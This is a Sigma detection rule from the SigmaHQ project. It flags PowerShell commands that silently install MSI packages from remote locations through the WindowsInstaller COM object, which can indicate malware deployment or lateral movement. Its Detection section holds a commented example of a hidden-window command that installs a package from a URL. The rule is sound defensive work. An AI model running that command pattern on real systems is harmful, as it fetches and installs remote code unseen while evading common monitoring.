Sigma rule: PowerShell MSI Install via WindowsInstaller COM From Remote Location

Rule

Title

PowerShell MSI Install via WindowsInstaller COM From Remote Location

Status

experimental

Level

medium

Author

Meroujan Antonyan (vx3r)

Date

2025-06-05

File

rules/windows/process_creation/proc_creation_win_powershell_comobject_msi_remote.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the execution of PowerShell commands that attempt to install MSI packages via the
Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.
This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.
And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.

Log source

product

windows

category

process_creation

Detection

# Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')";
selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'
selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('
selection_remote:
    CommandLine|contains:
        - 'http'
        - '\\\\'
filter_main_localhost:
    CommandLine|contains:
        - '://127.0.0.1'
        - '://localhost'
condition: all of selection_* and not 1 of filter_main_*

False positives (as the rule lists them)

• Unknown

Tags

• attack.execution
• attack.stealth
• attack.t1059.001
• attack.t1218
• attack.command-and-control
• attack.t1105

MITRE ATT&CK ids this rule names

• T1059.001
• T1105
• T1218

References

• https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
• https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
• https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi_remote.yml